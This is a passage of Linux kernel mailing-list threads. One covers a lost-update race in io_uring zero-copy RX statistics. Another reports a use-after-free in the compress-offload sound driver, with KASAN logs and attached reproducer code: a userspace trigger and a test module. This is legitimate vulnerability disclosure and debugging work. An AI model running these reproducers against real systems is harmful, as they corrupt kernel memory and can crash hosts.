    submit_recvzc(&z->ring, a->rx, z->ifq_id, 0xBBBB);
    *a->ready = 1;
    recv_loop(z);
    return NULL;
}

struct stop_arg { volatile int *stop; int fds[4]; int secs; }; static void *timer_thread(void *arg)

{
    struct stop_arg *s = arg;
    sleep(s->secs);
    *s->stop = 1;
    for (int i = 0; i < 4; i++) if (s->fds[i] >= 0) shutdown(s->fds[i], SHUT_RDWR);
    return NULL;
}

int main(int argc, char **argv)

{
    int secs = argc > 1 ? atoi(argv[1]) : 8;
    int single = getenv("SINGLE") != NULL;
    signal(SIGPIPE, SIG_IGN);
    bring_lo_up();

    /* Ring A: owns the ifq, stats-only, NODEV, user area. */
    struct ring ra;
    unsigned flags = IORING_SETUP_CQE32 | IORING_SETUP_SINGLE_ISSUER | IORING_SETUP_DEFER_TASKRUN;
    if (setup_ring(&ra, 4096, flags) < 0) return 1;

    char *region = mmap(NULL, REGION_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_POPULATE, -1, 0);
    if (region == MAP_FAILED) { perror("mmap region"); return 1; }
    memset(region, 0, REGION_SIZE);
    uint64_t *stats = (uint64_t *)(region + STATS_OFF);
    char *area_mem;
    if (posix_memalign((void **)&area_mem, PAGE, AREA_SIZE)) { perror("posix_memalign"); return 1; }
    memset(area_mem, 0x5a, AREA_SIZE);

    struct io_uring_region_desc rd; memset(&rd, 0, sizeof(rd));
    rd.user_addr = (uint64_t)region; rd.size = REGION_SIZE; rd.flags = IORING_MEM_REGION_TYPE_USER;
    struct io_uring_zcrx_area_reg area; memset(&area, 0, sizeof(area));
    area.addr = (uint64_t)area_mem; area.len = AREA_SIZE;
    struct zcrx_event_desc ev; memset(&ev, 0, sizeof(ev));
    ev.type_mask = 0; ev.flags = ZCRX_EVENT_DESC_FLAG_STATS; ev.stats_offset = STATS_OFF;
    struct io_uring_zcrx_ifq_reg reg; memset(&reg, 0, sizeof(reg));
    reg.rq_entries = RQ_ENTRIES; reg.flags = ZCRX_REG_NODEV;
    reg.area_ptr = (uint64_t)&area; reg.region_ptr = (uint64_t)&rd; reg.event_desc = (uint64_t)&ev;
    int ret = io_uring_register(ra.fd, IORING_REGISTER_ZCRX_IFQ, &reg, 1);
    if (ret < 0) { fprintf(stderr, "register ifq: %s\n", strerror(errno)); return 1; }
    printf("IFQ registered id=%u rx_buf_len=%u rqes_off=%u area_token=%#llx\n",
           reg.zcrx_id, reg.rx_buf_len, reg.offsets.rqes,
           (unsigned long long)area.rq_area_token);

    struct zcrx_ctrl ctrl; memset(&ctrl, 0, sizeof(ctrl));
    ctrl.zcrx_id = reg.zcrx_id; ctrl.op = ZCRX_CTRL_EXPORT;
    ret = io_uring_register(ra.fd, IORING_REGISTER_ZCRX_CTRL, &ctrl, 0);
    if (ret < 0) { fprintf(stderr, "export: %s\n", strerror(errno)); return 1; }
    int export_fd = ctrl.zc_export.zcrx_fd;
    printf("export fd=%d\n", export_fd);

    /* Two TCP pairs: A and B read from different sockets. */
    int rx_a, tx_a, rx_b, tx_b;
    if (make_loop_pair(&rx_a, &tx_a) || make_loop_pair(&rx_b, &tx_b)) return 1;
    int file_fd = make_data_file();
    if (file_fd < 0) return 1;

    struct zcrx za; memset(&za, 0, sizeof(za));
    za.ring = ra; za.ifq_id = reg.zcrx_id; za.rq_entries = RQ_ENTRIES;
    za.area_token = area.rq_area_token; za.region = region;
    za.rqes = (struct io_uring_zcrx_rqe *)(region + reg.offsets.rqes);
    za.rq_tail = (uint32_t *)(region + reg.offsets.tail);
    za.stats = stats;

    volatile int stop = 0;
    volatile int b_ready = 0;
    za.stop = &stop;
    za.ctrl_fd = ra.fd;
    pthread_mutex_init(&za.rq_lock_storage, NULL);
    za.rq_lock = &za.rq_lock_storage;

    /* Ring B imports the same ifq.  It must be created in the B thread for SINGLE_ISSUER. */
    struct zcrx zb; memset(&zb, 0, sizeof(zb));
    zb.ifq_id = reg.zcrx_id; zb.rq_entries = RQ_ENTRIES; zb.area_token = area.rq_area_token;
    zb.region = region; zb.rqes = za.rqes; zb.rq_tail = za.rq_tail; zb.stats = stats;
    zb.stop = &stop;
    zb.rq_lock = &za.rq_lock_storage;
    zb.ctrl_fd = ra.fd;

    struct sender_arg sa = { .fd = tx_a, .file_fd = file_fd, .stop = &stop };
    struct sender_arg sb = { .fd = tx_b, .file_fd = file_fd, .stop = &stop };
    pthread_t tb = 0, tsa, tsb = 0, tt;
    pthread_create(&tsa, NULL, send_loop, &sa);
    if (!single) pthread_create(&tsb, NULL, send_loop, &sb);

    struct b_arg ba = { .z = &zb, .export_fd = export_fd, .rx = rx_b, .flags = flags, .ready = &b_ready };
    if (!single) pthread_create(&tb, NULL, b_thread, &ba);
    else __atomic_store_n(&b_ready, 1, __ATOMIC_RELEASE);
    while (!__atomic_load_n(&b_ready, __ATOMIC_ACQUIRE) && !stop) usleep(1000);

    submit_recvzc(&ra, rx_a, reg.zcrx_id, 0xAAAA);
    struct stop_arg st = { .stop = &stop, .fds = { rx_a, tx_a, single ? -1 : rx_b, single ? -1 : tx_b }, .secs = secs };
    pthread_create(&tt, NULL, timer_thread, &st);
    recv_loop(&za);

    pthread_join(tt, NULL);
    if (!single) pthread_join(tb, NULL);
    pthread_join(tsa, NULL);
    if (!single) pthread_join(tsb, NULL);

    printf("RESULT data_cqes=%llu data_bytes=%llu copy_count=%llu copy_bytes=%llu\n",
           (unsigned long long)(za.cqes_data + zb.cqes_data),
           (unsigned long long)(za.bytes_data + zb.bytes_data),
           (unsigned long long)stats[0], (unsigned long long)stats[1]);
    printf("RESULT A cqes=%llu bytes=%llu B cqes=%llu bytes=%llu errors=%d/%d\n",
           (unsigned long long)za.cqes_data, (unsigned long long)za.bytes_data,
           (unsigned long long)zb.cqes_data, (unsigned long long)zb.bytes_data,
           za.errors, zb.errors);
    printf("RESULT delta_bytes=%lld delta_count_vs_cqes=%lld\n",
           (long long)((int64_t)stats[1] - (int64_t)(za.bytes_data + zb.bytes_data)),
           (long long)((int64_t)stats[0] - (int64_t)(za.cqes_data + zb.cqes_data)));
    return 0;
}
#92 lore raw

Re: io_uring/zcrx: copy statistics lose updates when one ifq is shared by multiple rings (Data race)

Quoted 20 lines · 徐晗翔

An io_uring zero-copy RX ifq can be exported by one ring and imported by another. Both rings then perform receive-zc on their own TCP sockets, but they share the same struct io_zcrx_ifq and therefore the same ifq->notif_stats. The statistics update is not atomic:

     static void zcrx_stat_add(__u64 *p, s64 v)
     {
         WRITE_ONCE(*p, READ_ONCE(*p) + v);
     }

io_uring/zcrx.c:1337-1340. It is called for copy_count and copy_bytes from io_zcrx_copy_frag() at zcrx.c:1770-1771. There is no ifq-level lock in this path. lock_sock() in io_zcrx_tcp_recvmsg() is per TCP socket, the ring's uring_lock is per ring, alloc_lock only protects fallback niov allocation and is released before the copy, and ctx_lock/notification is taken after the statistics update and is not involved when event_desc.type_mask == 0. Two CPUs can therefore read the same old value, add their own increments, and write back the same new value: one update is lost.

Quoted 4 lines

The effect is limited to the UAPI cumulative copy statistics (struct zcrx_stats at include/uapi/linux/io_uring/zcrx.h:83-86). The values are user-mappable diagnostic data; the race does not control buffer lifetime, DMA, reference counts, or packet contents.

It is racy, and IIRC Clement dropped atomicity at some point, perhaps for performance reasons. I don't think it really matters though, the main purposes of the stat is to be a flag saying "something is wrong, setup steering rules". What's your use case? For precise statistics I'd rather prefer to add a trace point, which would be able to do it the right way (e.g. per-cpu counters).

Signature · 1 line
Pavel Begunkov
#93 lore raw

Re: io_uring/zcrx: copy statistics lose updates when one ifq is shared by multiple rings (Data race)

Quoted 26 lines · Pavel Begunkov
Quoted 1 line
Quoted 20 lines · 徐晗翔

An io_uring zero-copy RX ifq can be exported by one ring and imported by another.  Both rings then perform receive-zc on their own TCP sockets, but they share the same struct io_zcrx_ifq and therefore the same ifq->notif_stats.  The statistics update is not atomic:

     static void zcrx_stat_add(__u64 *p, s64 v)
     {
         WRITE_ONCE(*p, READ_ONCE(*p) + v);
     }

io_uring/zcrx.c:1337-1340.  It is called for copy_count and copy_bytes from io_zcrx_copy_frag() at zcrx.c:1770-1771.  There is no ifq-level lock in this path.  lock_sock() in io_zcrx_tcp_recvmsg() is per TCP socket, the ring's uring_lock is per ring, alloc_lock only protects fallback niov allocation and is released before the copy, and ctx_lock/notification is taken after the statistics update and is not involved when event_desc.type_mask == 0.  Two CPUs can therefore read the same old value, add their own increments, and write back the same new value: one update is lost.

Quoted 4 lines

The effect is limited to the UAPI cumulative copy statistics (struct zcrx_stats at include/uapi/linux/io_uring/zcrx.h:83-86).  The values are user-mappable diagnostic data; the race does not control buffer lifetime, DMA, reference counts, or packet contents.

Quoted 6 lines

It is racy, and IIRC Clement dropped atomicity at some point, perhaps for performance reasons. I don't think it really matters though, the main purposes of the stat is to be a flag saying "something is wrong, setup steering rules". What's your use case? For precise statistics I'd rather prefer to add a trace point, which would be able to do it the right way (e.g. per-cpu counters).

Indeed, I used atomic first but then we dropped it. I don't remember exactly but we didn't consider export/import at that time. It make sense though so atomic would be fine as well although with an additional cost. I'll let Pavel be the judge but agreed that we do not really care about the value itself (there is nothing the userspace can really do about it except check that "it's a lot").

Clément

author
#94 lore raw

sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)

In reply to Greg KH

snd_compr_open() opens /dev/snd/comprC*D* without adding the file to card->files_list, without taking a persistent card device reference and without taking a module reference; it even drops the lookup reference with snd_card_unref() before returning. The ASoC card can therefore be unbound and freed while the compress fd is still open, after which ioctl/read/write/poll/close dereference freed struct snd_compr and snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN kernel with a small test module: open the compress device, call snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry already reports slab-use-after-free in mutex_lock(&stream->device->lock) inside snd_compr_ioctl().

This is not a theoretical lost-reference issue. The upstream compress offload code has an explicit open-file lifetime: snd_card_file_add() plus try_module_get() at open, a data->list node linked into compr->open_list, list_del_init() + module_put() + snd_card_file_remove() at free, and a dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/ PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters. The current tree removed all of it at the structure level: struct snd_compr_file no longer has a list node and struct snd_compr no longer has open_list. Consequently snd_card_disconnect_sync(), which waits for card->files_list to drain, returns immediately with the compress fd still open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free() frees the objects the fd still points to.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB). The only build-time changes were temporary Kconfig prompts to build snd-compress.ko and snd-rawmidi.ko as modules; no functional source change was made for this case. The exact version line is in evidence/kernel-version.txt.

* Root cause and object lifetime

The open path, sound/core/compress_offload.c:75-143, does only:

    compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
    ...
    data = kzalloc_obj(*data);
    runtime = kzalloc_obj(*runtime);
    data->stream.device = compr;
    f->private_data = data;
    scoped_guard(mutex, &compr->lock)
        ret = compr->ops->open(&data->stream);
    snd_card_unref(compr->card);

There is no snd_card_file_add(compr->card, f), no try_module_get(compr->card->module), and no list_add_tail() into an open list. The structure definitions were changed too:
sound/core/compress_offload.c:44-49 has

    struct snd_compr_file {
        unsigned long caps;
        struct snd_compr_stream stream;
    };

while include/sound/compress_driver.h:194-210 has no open_list member in struct snd_compr.

The free path, sound/core/compress_offload.c:145-170, calls cancel_delayed_work_sync(), optionally trigger(STOP), task-free, ops->free() and kfree() -- but no list_del_init(), no module_put() and no snd_card_file_remove().

The disconnect callback, sound/core/compress_offload.c:1432-1447, is only:

    compr = device->device_data;
    snd_unregister_device(compr->dev);
    return 0;

It does not walk open streams, does not stop them, does not set SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.

Upstream by contrast has all of these: snd_card_file_add() and try_module_get() in snd_compr_open(), data->list linked into compr->open_list, matching list_del_init()/module_put()/ snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that takes compr->lock, stops active streams and sets DISCONNECTED.

* Why card removal reaches the freed objects

The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
soc_cleanup_card_resources() calls snd_card_disconnect_sync() first, then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync() (sound/core/init.c:571-582) waits under files_lock for files_list to become empty. A compress fd is not in files_list, so this wait is a no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via device_unregister(rtd->dev), while the fd still has data->stream.device = compr and data->stream.private_data = rtd. snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and snd_compr_poll() all begin with guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside freed struct snd_compr before looking at stream->runtime.

* Trigger model

- A compress offload device must exist (real ASoC compress driver, or

    the attached test module);
  - a user with access to /dev/snd/comprC*D* opens it;
  - the card is removed/unbound (driver unbind, card unregister, module
    unload, or the test module's free parameter);

- the same fd is used again (ioctl/read/write/poll) or closed.

The card-removal step normally needs a privileged action, but the fd and the removal can belong to different processes and the kernel must not free objects that an open file still references. No hardware is required for the reproducer.

* Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3

sndcore_compress.c registers one card with one compress device and a minimal struct snd_compr_ops; the card private_free function kfree()s the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the module's "free" parameter to call snd_card_free(), then calls ioctl() on the stale fd.

Observed (evidence/mr03-kasan-uaf.log):

    free: calling snd_card_free(...)
    BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
    Write of size 8 at addr ... by task sndcore_test/88
    Call Trace:
     mutex_lock+0x72/0xe0
     snd_compr_ioctl+0xd2/0xff0 [snd_compress]
     ...
    BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
     snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
    KASAN bug count: 2

The bug count is the number of KASAN reports collected in that run; the first report is the mutex_lock() inside the ioctl entry.

* Suggested direction

Restore the upstream lifetime in one series:
- snd_compr_open(): snd_card_file_add(), try_module_get(), link

    data->list into compr->open_list;
  - snd_compr_free(): list_del_init(), module_put() and
    snd_card_file_remove(), with the error paths undoing in reverse;
  - snd_compress_dev_disconnect(): walk compr->open_list under
    compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
    SNDRV_PCM_STATE_DISCONNECTED and wake waiters;

- restore struct snd_compr_file.list and struct snd_compr.open_list.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]

// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

static int write_free(const char *mod)

{
	char path[256];
	int fd;

	snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", path, strerror(errno));
		return -1;
	}
	if (write(fd, "1\n", 2) != 2)
		fprintf(stderr, "write %s: %s\n", path, strerror(errno));
	close(fd);
	return 0;
}

static int do_hwdep(void)

{
	struct snd_hwdep_dsp_image img;
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	memset(&img, 0, sizeof(img));
	img.index = 0;
	img.length = 0;
	img.image = 0;
	for (int i = 0; i < 4; i++) {
		if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
			fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
	}
	close(fd);
	printf("HWDEP: ioctl done (max_active should be >= 2)\n");
	sleep(1);
	return 0;
}

static void *hwdep_thread(void *arg)

{
	int fd = *(int *)arg;
	struct snd_hwdep_dsp_image img;

	memset(&img, 0, sizeof(img));
	img.index = 0;
	ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
	return NULL;
}

static int do_hwdep_race(void)

{
	pthread_t th[4];
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	for (int i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, hwdep_thread, &fd);
	for (int i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	close(fd);
	printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
	sleep(1);
	return 0;
}

static int do_compress(void)

{
	int fd;

	fd = open("/dev/snd/comprC0D0", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open compress: %s\n", strerror(errno));
		return 1;
	}
	printf("COMPRESS: fd open, freeing card\n");
	write_free("sndcore_compress");
	printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
	if (ioctl(fd, 0x4300, 0) < 0)
		fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
	printf("COMPRESS: ioctl returned without KASAN report\n");
	close(fd);
	sleep(1);
	return 0;
}

static int do_rawmidi(void)

{
	int fd;

	fd = open("/dev/snd/midiC0D0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
		return 1;
	}
	printf("RAWMIDI: fd open, letting flood thread run\n");
	sleep(2);
	printf("RAWMIDI: closing (trigger/cancel/free window)\n");
	close(fd);
	sleep(3);
	printf("RAWMIDI: close returned, freeing card\n");
	write_free("sndcore_rawmidi");
	sleep(1);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "jackfree"))
		return write_free("sndcore_jack");
	if (!strcmp(argv[1], "compress"))
		return do_compress();
	if (!strcmp(argv[1], "rawmidi"))
		return do_rawmidi();
	if (!strcmp(argv[1], "hwdep"))
		return do_hwdep();
	if (!strcmp(argv[1], "hwdep-race"))
		return do_hwdep_race();
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <sound/core.h>
#include <sound/compress_driver.h>
#include "sndcore_parent.h"

static struct snd_card *card;
static struct snd_compr *compr;

static int c_open(struct snd_compr_stream *stream) { return 0; } static int c_free(struct snd_compr_stream *stream) { return 0; } static int c_trigger(struct snd_compr_stream *stream, int cmd) { return 0; }

static struct snd_compr_ops compr_ops = {
	.open = c_open,
	.free = c_free,
	.trigger = c_trigger,
};

static int free_set(const char *val, const struct kernel_param *kp)

{
	if (card) {
		pr_info("free: calling snd_card_free(%p)\n", card);
		snd_card_free(card);
		card = NULL;
	}
	return 0;
}

static const struct kernel_param_ops free_ops = { .set = free_set }; module_param_cb(free, &free_ops, NULL, 0200);

static void card_private_free(struct snd_card *c)

{
	pr_info("card private_free: kfree(compr=%p)\n", compr);
	kfree(compr);
	compr = NULL;
}

static int __init sndcore_compress_init(void)

{
	int err;

	err = sndcore_card_new(&card, "sndcore_compress");
	if (err < 0)
		return err;

	compr = kzalloc(sizeof(*compr), GFP_KERNEL);
	if (!compr) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return -ENOMEM;
	}
	compr->ops = &compr_ops;
	card->private_free = card_private_free;

	err = snd_compress_new(card, 0, SND_COMPRESS_PLAYBACK, "sndcore", compr);
	if (err < 0) {
		kfree(compr);
		compr = NULL;
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	err = snd_card_register(card);
	if (err < 0) {
		snd_card_free(card);
		card = NULL;
		sndcore_parent_put();
		return err;
	}
	pr_info("compress card registered\n");
	return 0;
}

static void __exit sndcore_compress_exit(void)

{
	if (card) {
		snd_card_free(card);
		card = NULL;
	}
	sndcore_parent_put();
}

module_init(sndcore_compress_init); module_exit(sndcore_compress_exit); MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("sound/core MR-03 compress open_list verifier");

#95 lore raw

Re: sound: core: compress offload fd does not pin card or module, so card removal leaves a live fd pointing at freed snd_compr (KASAN UAF)

Quoted 391 lines · 徐晗翔

snd_compr_open() opens /dev/snd/comprC*D* without adding the file to card->files_list, without taking a persistent card device reference and without taking a module reference; it even drops the lookup reference with snd_card_unref() before returning. The ASoC card can therefore be unbound and freed while the compress fd is still open, after which ioctl/read/write/poll/close dereference freed struct snd_compr and snd_soc_pcm_runtime objects. I reproduced this on a Linux 7.3 KASAN kernel with a small test module: open the compress device, call snd_card_free(), then issue ioctl() on the stale fd; the ioctl entry already reports slab-use-after-free in mutex_lock(&stream->device->lock) inside snd_compr_ioctl().

This is not a theoretical lost-reference issue. The upstream compress offload code has an explicit open-file lifetime: snd_card_file_add() plus try_module_get() at open, a data->list node linked into compr->open_list, list_del_init() + module_put() + snd_card_file_remove() at free, and a dev_disconnect callback that walks open_list, stops RUNNING/DRAINING/ PAUSED streams, sets SNDRV_PCM_STATE_DISCONNECTED and wakes waiters. The current tree removed all of it at the structure level: struct snd_compr_file no longer has a list node and struct snd_compr no longer has open_list. Consequently snd_card_disconnect_sync(), which waits for card->files_list to drain, returns immediately with the compress fd still open, and the subsequent snd_soc_remove_pcm_runtime() / snd_card_free() frees the objects the fd still points to.

The detailed description:

* Test environment / affected version

Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC, vanilla 7.3 source tree with KASAN and QEMU/KVM x86_64 (4 vCPU, 4 GB). The only build-time changes were temporary Kconfig prompts to build snd-compress.ko and snd-rawmidi.ko as modules; no functional source change was made for this case. The exact version line is in evidence/kernel-version.txt.

* Root cause and object lifetime

The open path, sound/core/compress_offload.c:75-143, does only:

    compr = snd_lookup_minor_data(iminor(inode), SNDRV_DEVICE_TYPE_COMPRESS);
    ...
    data = kzalloc_obj(*data);
    runtime = kzalloc_obj(*runtime);
    data->stream.device = compr;
    f->private_data = data;
    scoped_guard(mutex, &compr->lock)
        ret = compr->ops->open(&data->stream);
    snd_card_unref(compr->card);

There is no snd_card_file_add(compr->card, f), no try_module_get(compr->card->module), and no list_add_tail() into an open list. The structure definitions were changed too:
sound/core/compress_offload.c:44-49 has

    struct snd_compr_file {
        unsigned long caps;
        struct snd_compr_stream stream;
    };

while include/sound/compress_driver.h:194-210 has no open_list member in struct snd_compr.

The free path, sound/core/compress_offload.c:145-170, calls cancel_delayed_work_sync(), optionally trigger(STOP), task-free, ops->free() and kfree() -- but no list_del_init(), no module_put() and no snd_card_file_remove().

The disconnect callback, sound/core/compress_offload.c:1432-1447, is only:

    compr = device->device_data;
    snd_unregister_device(compr->dev);
    return 0;

It does not walk open streams, does not stop them, does not set SNDRV_PCM_STATE_DISCONNECTED and does not wake poll/read waiters.

Upstream by contrast has all of these: snd_card_file_add() and try_module_get() in snd_compr_open(), data->list linked into compr->open_list, matching list_del_init()/module_put()/ snd_card_file_remove() in snd_compr_free(), and a dev_disconnect that takes compr->lock, stops active streams and sets DISCONNECTED.

* Why card removal reaches the freed objects

The ASoC cleanup order is in sound/soc/soc-core.c:1944-1981:
soc_cleanup_card_resources() calls snd_card_disconnect_sync() first, then for_each_card_rtds_safe() -> snd_soc_remove_pcm_runtime(), then snd_soc_card_remove(), then snd_card_free(). snd_card_disconnect_sync() (sound/core/init.c:571-582) waits under files_lock for files_list to become empty. A compress fd is not in files_list, so this wait is a no-op for it. snd_soc_remove_pcm_runtime() then releases rtd via device_unregister(rtd->dev), while the fd still has data->stream.device = compr and data->stream.private_data = rtd. snd_compr_ioctl(), snd_compr_read(), snd_compr_write() and snd_compr_poll() all begin with guard(mutex)(&stream->device->lock), i.e. they lock a mutex inside freed struct snd_compr before looking at stream->runtime.

* Trigger model

- A compress offload device must exist (real ASoC compress driver, or

    the attached test module);
  - a user with access to /dev/snd/comprC*D* opens it;
  - the card is removed/unbound (driver unbind, card unregister, module
    unload, or the test module's free parameter);

- the same fd is used again (ioctl/read/write/poll) or closed.

The card-removal step normally needs a privileged action, but the fd and the removal can belong to different processes and the kernel must not free objects that an open file still references. No hardware is required for the reproducer.

* Reproducer (attached: sndcore_compress.c, sndcore_test.c) and results on 7.3

sndcore_compress.c registers one card with one compress device and a minimal struct snd_compr_ops; the card private_free function kfree()s the struct snd_compr, matching ASoC's devm_kzalloc lifetime. The userspace program sndcore_test.c opens /dev/snd/comprC0D0, writes the module's "free" parameter to call snd_card_free(), then calls ioctl() on the stale fd.

Observed (evidence/mr03-kasan-uaf.log):

    free: calling snd_card_free(...)
    BUG: KASAN: slab-use-after-free in mutex_lock+0x72/0xe0
    Write of size 8 at addr ... by task sndcore_test/88
    Call Trace:
     mutex_lock+0x72/0xe0
     snd_compr_ioctl+0xd2/0xff0 [snd_compress]
     ...
    BUG: KASAN: slab-use-after-free in mutex_unlock+0x6c/0xd0
     snd_compr_ioctl+0x1d3/0xff0 [snd_compress]
    KASAN bug count: 2

The bug count is the number of KASAN reports collected in that run; the first report is the mutex_lock() inside the ioctl entry.

* Suggested direction

Restore the upstream lifetime in one series:
- snd_compr_open(): snd_card_file_add(), try_module_get(), link

    data->list into compr->open_list;
  - snd_compr_free(): list_del_init(), module_put() and
    snd_card_file_remove(), with the error paths undoing in reverse;
  - snd_compress_dev_disconnect(): walk compr->open_list under
    compr->lock, STOP RUNNING/DRAINING/PAUSED streams, set
    SNDRV_PCM_STATE_DISCONNECTED and wake waiters;

- restore struct snd_compr_file.list and struct snd_compr.open_list.

Please keep me in Cc; I am not subscribed to the lists.

Regards,
Hanxiang Xu
[email protected]
// SPDX-License-Identifier: GPL-2.0
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <sound/asound.h>

static int write_free(const char *mod)

{
	char path[256];
	int fd;

	snprintf(path, sizeof(path), "/sys/module/%s/parameters/free", mod);
	fd = open(path, O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open %s: %s\n", path, strerror(errno));
		return -1;
	}
	if (write(fd, "1\n", 2) != 2)
		fprintf(stderr, "write %s: %s\n", path, strerror(errno));
	close(fd);
	return 0;
}

static int do_hwdep(void)

{
	struct snd_hwdep_dsp_image img;
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	memset(&img, 0, sizeof(img));
	img.index = 0;
	img.length = 0;
	img.image = 0;
	for (int i = 0; i < 4; i++) {
		if (ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img) < 0)
			fprintf(stderr, "ioctl dsp_load: %s\n", strerror(errno));
	}
	close(fd);
	printf("HWDEP: ioctl done (max_active should be >= 2)\n");
	sleep(1);
	return 0;
}

static void *hwdep_thread(void *arg)

{
	int fd = *(int *)arg;
	struct snd_hwdep_dsp_image img;

	memset(&img, 0, sizeof(img));
	img.index = 0;
	ioctl(fd, SNDRV_HWDEP_IOCTL_DSP_LOAD, &img);
	return NULL;
}

static int do_hwdep_race(void)

{
	pthread_t th[4];
	int fd;

	fd = open("/dev/snd/hwC0D0", O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "open hwdep: %s\n", strerror(errno));
		return 1;
	}
	for (int i = 0; i < 4; i++)
		pthread_create(&th[i], NULL, hwdep_thread, &fd);
	for (int i = 0; i < 4; i++)
		pthread_join(th[i], NULL);
	close(fd);
	printf("HWDEP: 4 concurrent DSP_LOAD issued\n");
	sleep(1);
	return 0;
}

static int do_compress(void)

{
	int fd;

	fd = open("/dev/snd/comprC0D0", O_WRONLY);
	if (fd < 0) {
		fprintf(stderr, "open compress: %s\n", strerror(errno));
		return 1;
	}
	printf("COMPRESS: fd open, freeing card\n");
	write_free("sndcore_compress");
	printf("COMPRESS: card free returned, issuing ioctl on stale fd\n");
	if (ioctl(fd, 0x4300, 0) < 0)
		fprintf(stderr, "ioctl stale fd: %s\n", strerror(errno));
	printf("COMPRESS: ioctl returned without KASAN report\n");
	close(fd);
	sleep(1);
	return 0;
}

static int do_rawmidi(void)

{
	int fd;

	fd = open("/dev/snd/midiC0D0", O_RDONLY);
	if (fd < 0) {
		fprintf(stderr, "open rawmidi: %s\n", strerror(errno));
		return 1;
	}
	printf("RAWMIDI: fd open, letting flood thread run\n");
	sleep(2);
	printf("RAWMIDI: closing (trigger/cancel/free window)\n");
	close(fd);
	sleep(3);
	printf("RAWMIDI: close returned, freeing card\n");
	write_free("sndcore_rawmidi");
	sleep(1);
	return 0;
}

int main(int argc, char **argv)

{
	if (argc < 2) {
		fprintf(stderr, "usage: %s jackfree|compress|rawmidi|hwdep|hwdep-race\n", argv[0]);
		return 2;
	}
	if (!strcmp(argv[1], "jackfree"))
		return write_free("sndcore_jack");
	if (!strcmp(argv[1], "compress"))
		return do_compress();
	if (!strcmp(argv[1], "rawmidi"))
		return do_rawmidi();
	if (!strcmp(argv[1], "hwdep"))
		return do_hwdep();
	if (!strcmp(argv[1], "hwdep-race"))
		return do_hwdep_race();
	fprintf(stderr, "unknown mode %s\n", argv[1]);
	return 2;
}

// SPDX-License-Identifier: GPL-2.0
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/slab.h>
#include <sound/core.h>
#include <sound/compress_driver.h>
#include "sndcore_parent.h"

static struct snd_card *card;
static struct snd_compr *compr;

